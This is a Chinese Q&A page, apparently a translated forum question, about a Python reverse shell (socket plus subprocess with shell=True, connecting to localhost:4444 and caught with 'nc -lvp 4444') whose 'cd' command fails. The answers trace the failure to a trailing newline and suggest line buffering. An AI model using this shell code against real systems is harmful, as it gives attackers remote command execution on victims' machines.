我无法在python中使用reverse-shell(tcp ip)编码器更改目录

时间:2017-08-05 20:49:28

标签: python shell tcp reverse-shell

我尝试使用netcat在python(反向tcp ip)中编写反向shell,我无法使用模块更改目录os.chdir()这里是我的代码:

import socket 
import subprocess
import os

host = 'localhost'
port = 4444

s = socket.socket()
s.connect((host,port))


while True:

directory = ("\n" + os.getcwd() + ">")
directory = directory.encode()
s.send(directory)

data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
    os.chdir(data[3:].decode('utf-8'))
else:
    comm = subprocess.Popen(str(data, "utf-8"), shell=True, stdout=subprocess.PIPE)
    out,x = comm.communicate()
    s.send(out)

我继续听4444端口 用netcat做:nc -lvp 4444 在这里运行我的scrypt是错误:

file "reverse-tcp.py", line 20, in <module>
os.chdir(data[3:].decode('utf-8'))
OSError: [WinError 123] 
A syntax of file name, directory, or volume is incorrect 
'C:\\Users\\Isabelle\\Desktop\\dossier\n'

2 个答案:

答案 0 :(得分:0)

问题与文件名有关:C:\\Users\\Isabelle\\Desktop\\dossier\n其中\nLinefeed (LF)。 结果是无效路径。

答案 1 :(得分:0)

您在要更改的目录名称中包含命令末尾的行分隔符。您可以通过rstrip关闭行分隔符来解决此问题,但如果您采用这种方法,则可能会遇到未来的问题。

您正在接收原始数据块,这些数据块可能包含多行。无法保证data包含单个命令,甚至整个命令。应该进行处理以将输入分解为行,如果data在行的中间结束,则将其与下一个recv的第一行连接。